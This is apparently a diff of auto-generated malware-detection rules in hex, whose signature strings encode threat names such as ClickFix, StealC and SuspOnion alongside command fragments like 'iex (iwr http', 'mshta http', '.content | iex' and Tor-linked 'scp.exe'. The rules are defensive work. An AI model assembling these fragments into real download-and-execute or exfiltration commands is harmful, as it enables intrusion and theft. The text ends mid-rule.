"!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_4c_0 = {4b 6f 61 64 69 63 2e 67 65 6e 21 61 74 74 6b 00 01 00 08 00 68 00 74 00 74 00 70 00 01 00 0a 00 3f 00 73 00 69 00 64 00 3d 00 01 00 0e 00 3b 00 63 00 73 00 72 00 66 00 3d 00 3b 00 00 00 d7 4d 00 00 01 00 01 } //21539 - $a_3a_2 = {69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 55 41 43 42 79 70 61 73 73 48 69 64 64 65 6e 50 72 6f 63 2e 41 00 01 00 17 02 73 00 74 00 61 00 72 00 74 00 90 02 50 2f 00 6d 00 69 00 6e 00 90 00 00 00 d7 4e 00 00 2c 01 } //19539 + $a_3a_2 = {69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 55 41 43 42 79 70 61 73 73 48 69 64 64 65 6e 50 72 6f 63 2e 41 00 01 00 17 02 73 00 74 00 61 00 72 00 74 00 90 02 50 2f 00 6d 00 69 00 6e 00 90 00 00 00 d7 4d 00 00 0a 00 } //19539 condition: ((#a_4c_0 & 1)*21539+(#a_3a_2 & 1)*19539) >=3 } -rule _InfrastructureShared_26147{ +rule _InfrastructureShared_27549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_46_0 = {56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 55 41 43 42 79 70 61 73 73 48 69 64 64 65 6e 50 72 6f 63 2e 41 00 01 00 17 02 73 00 74 00 61 00 72 00 74 00 90 02 50 2f 00 6d 00 69 00 6e 00 90 00 00 00 d7 4e 00 00 2c 01 2c 01 03 00 21 } //21283 + $a_46_0 = {56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 55 41 43 42 79 70 61 73 73 48 69 64 64 65 6e 50 72 6f 63 2e 41 00 01 00 17 02 73 00 74 00 61 00 72 00 74 00 90 02 50 2f 00 6d 00 69 00 6e 00 90 00 00 00 d7 4d 00 00 0a 00 0a 00 02 00 21 } //21283 condition: ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26148{ +rule _InfrastructureShared_27550{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 73 70 4f 6e 69 6f 6e 2e 47 65 6e 2e 42 00 05 00 0e 00 73 00 63 00 70 00 2e 00 65 00 78 00 65 00 05 00 0c 00 2e 00 6f 00 6e 00 69 00 6f 00 6e 00 00 00 d7 4d 00 00 } //21539 + $a_00_1 = {02 00 21 23 54 45 4c 3a 54 72 } //10 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*10) >=10 + +} +rule _InfrastructureShared_27551{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 73 70 4f 6e 69 6f 6e 2e 47 65 6e 2e 43 00 05 00 0e 00 73 00 73 00 68 00 2e 00 65 00 78 00 65 00 05 00 0c 00 2e 00 6f 00 6e 00 69 00 6f 00 6e 00 00 00 d7 4e 00 00 } //21539 + $a_01_1 = {03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 61 6d 65 6e 2e 43 00 64 00 0e 00 73 00 64 00 62 00 69 00 6e 00 } //300 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*300) >=10 + +} +rule _InfrastructureShared_27552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -342361,7 +360740,7 @@ rule _InfrastructureShared_26148{ ((#a_4c_0 & 1)*21539) >=300 } -rule _InfrastructureShared_26149{ +rule _InfrastructureShared_27553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -342371,7 +360750,7 @@ rule _InfrastructureShared_26149{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_26150{ +rule _InfrastructureShared_27554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -342381,7 +360760,7 @@ rule _InfrastructureShared_26150{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26151{ +rule _InfrastructureShared_27555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -342391,7 +360770,7 @@ rule _InfrastructureShared_26151{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_26152{ +rule _InfrastructureShared_27556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -342401,7 +360780,7 @@ rule _InfrastructureShared_26152{ ((#a_46_0 & 1)*21283) >=11 } -rule _InfrastructureShared_26153{ +rule _InfrastructureShared_27557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -342411,7 +360790,17 @@ rule _InfrastructureShared_26153{ ((#a_46_0 & 1)*21283) >=11 } -rule _InfrastructureShared_26154{ +rule _InfrastructureShared_27558{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 6c 75 65 53 6e 61 69 6c 2e 49 21 64 68 61 00 01 00 23 02 73 00 6f 00 63 00 6b 00 73 00 35 00 90 02 80 2d 00 77 00 20 00 77 00 73 00 73 00 3a 00 2f 00 2f 00 90 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_27559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -342421,7 +360810,7 @@ rule _InfrastructureShared_26154{ ((#a_44_0 & 1)*17187) >=1 } -rule _InfrastructureShared_26155{ +rule _InfrastructureShared_27560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -342432,7 +360821,7 @@ rule _InfrastructureShared_26155{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*-10496) >=1 } -rule _InfrastructureShared_26156{ +rule _InfrastructureShared_27561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -342443,7 +360832,7 @@ rule _InfrastructureShared_26156{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*-10496) >=1 } -rule _InfrastructureShared_26157{ +rule _InfrastructureShared_27562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 03 00 21 " @@ -342455,7 +360844,7 @@ rule _InfrastructureShared_26157{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*-10496+(#a_00_2 & 1)*-10496) >=7 } -rule _InfrastructureShared_26158{ +rule _InfrastructureShared_27563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -342465,7 +360854,7 @@ rule _InfrastructureShared_26158{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_26159{ +rule _InfrastructureShared_27564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -342475,7 +360864,7 @@ rule _InfrastructureShared_26159{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_26160{ +rule _InfrastructureShared_27565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -342485,7 +360874,19 @@ rule _InfrastructureShared_26160{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26161{ +rule _InfrastructureShared_27566{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffc9 00 ffffffc9 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 42 52 21 4d 54 42 00 64 00 0c 00 63 00 6d 00 64 00 20 00 2f 00 6b 00 64 00 06 00 20 00 23 00 20 00 01 00 0a 00 56 00 65 00 72 00 69 00 66 00 00 00 d7 55 00 00 } //21283 + $a_00_1 = {01 } //1 + $a_54_2 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 73 70 61 77 6e 69 6e 67 52 65 67 73 76 72 2e 41 21 73 } //8448 L:Trojan:Win32/RespawningRegsvr.A!s + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*1+(#a_54_2 & 1)*8448) >=201 + +} +rule _InfrastructureShared_27567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -342495,7 +360896,7 @@ rule _InfrastructureShared_26161{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26162{ +rule _InfrastructureShared_27568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 02 00 21 " @@ -342505,7 +360906,17 @@ rule _InfrastructureShared_26162{ ((#a_46_0 & 1)*21283) >=20 } -rule _InfrastructureShared_26163{ +rule _InfrastructureShared_27569{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 64 33 32 2f 42 72 6f 6e 7a 65 44 6f 6d 65 2e 43 21 64 68 61 00 01 00 25 02 2d 00 49 00 6e 00 69 00 74 00 69 00 61 00 6c 00 2e 00 70 00 73 00 31 00 90 02 80 2e 00 62 00 61 00 74 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_27570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -342515,7 +360926,60 @@ rule _InfrastructureShared_26163{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26164{ +rule _InfrastructureShared_27571{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 50 21 4d 54 42 00 01 00 1a 00 69 00 65 00 78 00 20 00 28 00 69 00 77 00 72 00 20 00 68 00 74 00 74 00 70 00 01 00 08 00 3e 00 6e 00 75 00 6c 00 00 00 d7 56 } //21283 + $a_00_1 = {02 00 } //0 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*0) >=2 + +} +rule _InfrastructureShared_27572{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 43 2e 41 00 01 00 14 00 66 00 69 00 6e 00 64 00 73 00 74 00 72 00 20 00 2f 00 49 00 01 00 16 00 6f 00 70 00 73 00 73 00 76 00 63 00 20 00 77 00 72 00 73 00 61 00 00 00 d7 56 } //21283 + $a_00_1 = {0a 00 01 00 21 23 53 4c 46 3a } //0 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*0) >=2 + +} +rule _InfrastructureShared_27573{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 54 65 62 61 63 69 6c 00 0a 00 2e 00 2d 00 78 00 72 00 73 00 64 00 6b 00 2d 00 70 00 72 00 65 00 2d 00 69 00 6e 00 69 00 74 00 2d 00 6c 00 69 00 62 00 72 00 61 00 72 00 79 00 00 00 d7 56 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=10 + +} +rule _InfrastructureShared_27574{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 42 4b 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 0e 00 2d 00 77 00 20 00 31 00 20 00 2d 00 63 00 00 00 d7 57 } //21283 + $a_00_1 = {01 } //0 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*0) >=101 + +} +rule _InfrastructureShared_27575{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 47 41 47 41 21 4d 54 42 00 01 00 26 00 66 00 74 00 70 00 20 00 20 00 2d 00 73 00 3a 00 70 00 72 00 6f 00 63 00 65 00 65 00 64 00 2e 00 6c 00 6f 00 67 00 00 00 d7 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_27576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -342525,17 +360989,27 @@ rule _InfrastructureShared_26164{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26165{ +rule _InfrastructureShared_27577{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " strings : - $a_44_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 72 61 70 73 4d 73 43 6f 6d 6d 6f 6e 50 61 74 68 00 01 00 14 00 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 01 00 10 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 00 00 } //17187 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 44 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 10 00 70 00 61 00 73 00 74 00 65 00 62 00 69 00 6e 00 00 00 } //21283 condition: - ((#a_44_0 & 1)*17187) >=1 + ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_26166{ +rule _InfrastructureShared_27578{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 5a 45 21 4d 54 42 00 01 00 08 00 68 00 74 00 74 00 70 00 01 00 1c 00 2e 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 20 00 7c 00 20 00 69 00 65 00 78 00 00 00 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=2 + +} +rule _InfrastructureShared_27579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -342545,7 +361019,19 @@ rule _InfrastructureShared_26166{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26167{ +rule _InfrastructureShared_27580{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 6e 6a 75 6b 65 2e 43 21 4d 54 42 00 01 00 0a 00 2d 00 62 00 78 00 6f 00 72 00 01 00 10 00 2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 01 00 0c 00 62 00 61 00 73 00 65 00 36 00 34 00 } //21283 + $a_5a_1 = {00 0a 00 0a 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 79 73 74 65 6d 42 43 4c 6f 61 64 65 72 2e 53 41 00 0a 00 29 02 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 90 02 20 73 00 76 00 68 00 6f 00 73 00 74 00 2e 00 64 00 6c 00 6c 00 90 00 00 00 d7 5a 00 00 0b 00 0b 00 04 00 21 23 53 4c 46 3a 43 4c 2e 43 61 70 74 63 68 61 49 44 2e 53 31 00 0a 00 06 00 3a 00 2f 00 2f 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 0a 00 6d 00 73 00 68 00 74 00 61 00 01 00 08 00 63 00 75 00 72 00 6c 00 00 00 d7 5b 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 } //0 + $a_6c_2 = {48 61 74 2e 41 21 64 68 61 00 01 00 2c 00 62 00 31 00 74 00 75 00 7a 00 6d 00 68 00 71 00 7a 00 78 00 6a 00 62 00 61 00 67 00 7a 00 6b 00 79 00 6d 00 64 00 68 00 62 00 6d 00 00 00 d7 5b 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6f 63 67 6f 6c 73 68 2e 53 4e 00 01 00 0e 00 37 00 7a } //26984 + condition: + ((#a_46_0 & 1)*21283+(#a_5a_1 & 1)*0+(#a_6c_2 & 1)*26984) >=3 + +} +rule _InfrastructureShared_27581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -342555,7 +361041,20 @@ rule _InfrastructureShared_26167{ ((#a_46_0 & 1)*21283) >=10 } -rule _InfrastructureShared_26168{ +rule _InfrastructureShared_27582{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 04 00 21 " + + strings : + $a_46_0 = {43 4c 2e 43 61 70 74 63 68 61 49 44 2e 53 31 00 0a 00 06 00 3a 00 2f 00 2f 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 0a 00 6d 00 73 00 68 00 74 00 61 00 01 00 08 00 63 00 75 00 72 00 6c 00 } //21283 + $a_5b_1 = {00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 68 69 6c 6c 79 48 61 74 2e 41 21 64 68 61 00 01 00 2c 00 62 00 31 00 74 00 75 00 7a 00 6d 00 68 00 71 00 7a 00 78 00 6a 00 62 00 61 00 67 00 7a 00 6b 00 79 00 6d 00 64 00 68 00 62 00 6d 00 00 00 d7 5b 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6f 63 67 6f 6c 73 68 2e 53 4e 00 01 00 0e 00 37 00 7a 00 61 00 2e 00 65 00 78 00 65 00 01 00 1e 00 63 00 3a 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 5c 00 00 00 d7 5b 00 00 65 00 65 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 } //0 + $a_65_2 = {49 44 2e 41 47 21 4d 54 42 00 64 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 01 00 0a 00 2c 00 6e 00 61 00 69 00 6c 00 01 00 0c 00 2c 00 20 00 6e 00 61 00 69 00 6c 00 00 00 d7 5c 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 } //18735 + $a_56_3 = {4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 08 00 68 00 74 00 74 00 70 00 01 00 08 00 2e 00 6d 00 70 00 33 00 00 00 d7 5c 00 00 03 00 03 00 03 00 21 23 54 45 4c } //17710 + condition: + ((#a_46_0 & 1)*21283+(#a_5b_1 & 1)*0+(#a_65_2 & 1)*18735+(#a_56_3 & 1)*17710) >=11 + +} +rule _InfrastructureShared_27583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -342565,7 +361064,17 @@ rule _InfrastructureShared_26168{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26169{ +rule _InfrastructureShared_27584{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6f 63 67 6f 6c 73 68 2e 53 4e 00 01 00 0e 00 37 00 7a 00 61 00 2e 00 65 00 78 00 65 00 01 00 1e 00 63 00 3a 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 5c } //21283 + condition: + ((#a_46_0 & 1)*21283) >=2 + +} +rule _InfrastructureShared_27585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 03 00 21 " @@ -342576,28 +361085,38 @@ rule _InfrastructureShared_26169{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*0) >=101 } -rule _InfrastructureShared_26170{ +rule _InfrastructureShared_27586{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 45 45 56 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 08 00 68 00 74 00 74 00 70 00 01 00 08 00 2e 00 6d 00 70 00 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=3 + +} +rule _InfrastructureShared_27587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4b 72 62 47 75 65 73 73 2e 41 00 01 00 08 00 6a 00 61 00 76 00 61 00 01 00 08 00 2d 00 6a 00 61 00 72 00 01 00 18 00 6b 00 72 00 62 00 67 00 75 00 65 00 73 00 73 } //21539 - $a_00_2 = {00 00 d7 5c 00 00 04 00 04 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 69 6d 6d 69 6e 67 2e 42 00 02 00 0a 80 01 73 64 62 69 6e 73 74 20 2d 71 02 00 10 80 01 61 69 5f 73 68 69 6d 5f 74 65 73 74 2e 73 64 62 f6 ff 0d 80 01 73 64 62 69 6e 73 74 20 2d 71 20 2d 75 00 00 d7 5c 00 00 65 00 65 00 03 00 21 23 53 4c 46 3a } //97 + $a_00_2 = {00 00 d7 5c 00 00 0b 00 0b 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 45 45 51 21 4d 54 42 00 01 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 00 02 00 50 00 24 00 90 00 00 00 0a 00 08 00 2e 00 70 00 68 00 70 00 00 00 d7 5c 00 00 65 00 65 00 03 00 21 23 53 4c 46 3a } //97 condition: ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*97) >=3 } -rule _InfrastructureShared_26171{ +rule _InfrastructureShared_27588{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 03 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 02 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 69 6d 6d 69 6e 67 2e 42 00 02 00 0a 80 01 73 64 62 69 6e 73 74 20 2d 71 02 00 10 80 01 61 69 5f 73 68 69 6d 5f 74 65 73 74 2e 73 64 62 f6 ff 0d 80 01 73 64 62 69 6e 73 74 20 2d 71 20 } //21283 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 45 45 51 21 4d 54 42 00 01 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 00 02 00 50 00 24 00 90 00 00 00 0a 00 08 00 2e 00 70 00 68 00 } //21283 condition: - ((#a_46_0 & 1)*21283) >=4 + ((#a_46_0 & 1)*21283) >=11 } -rule _InfrastructureShared_26172{ +rule _InfrastructureShared_27589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 03 00 21 " @@ -342607,7 +361126,17 @@ rule _InfrastructureShared_26172{ ((#a_46_0 & 1)*21283) >=101 } -rule _InfrastructureShared_26173{ +rule _InfrastructureShared_27590{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 43 47 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 14 00 2e 00 52 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=110 + +} +rule _InfrastructureShared_27591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -342617,7 +361146,7 @@ rule _InfrastructureShared_26173{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26174{ +rule _InfrastructureShared_27592{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -342627,7 +361156,18 @@ rule _InfrastructureShared_26174{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26175{ +rule _InfrastructureShared_27593{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 47 42 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 16 00 62 00 36 00 34 00 20 00 64 00 65 00 63 00 6f 00 64 00 } //21283 + $a_00_1 = {00 00 d7 5e 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 50 6f 77 65 72 56 61 72 73 2e 41 00 01 00 1c 00 70 00 6f 00 77 00 65 00 72 00 } //101 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101) >=2 + +} +rule _InfrastructureShared_27594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -342637,7 +361177,18 @@ rule _InfrastructureShared_26175{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_26176{ +rule _InfrastructureShared_27595{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 47 41 21 4d 54 42 00 01 00 0a 00 6d 00 73 00 68 00 74 00 61 00 01 00 08 00 68 00 74 00 74 00 70 00 01 00 14 00 62 00 36 00 34 00 20 00 64 00 65 00 63 00 6f 00 } //21283 + $a_00_1 = {00 00 d7 5e 00 00 0a 00 0a 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 6e 66 6f 53 74 65 61 6c 65 72 2e 45 00 0a 00 31 02 6e 00 6f 00 64 00 65 00 2e 00 65 00 78 00 65 00 90 02 10 20 00 2d 00 72 00 20 00 90 02 ff 2e 00 6a 00 73 00 90 02 ff 2e 00 6a 00 73 00 63 00 90 00 00 00 d7 } //100 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*100) >=3 + +} +rule _InfrastructureShared_27596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -342647,18 +361198,93 @@ rule _InfrastructureShared_26176{ ((#a_46_0 & 1)*21283) >=10 } -rule _InfrastructureShared_26177{ +rule _InfrastructureShared_27597{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 46 46 52 21 4d 54 42 00 64 00 14 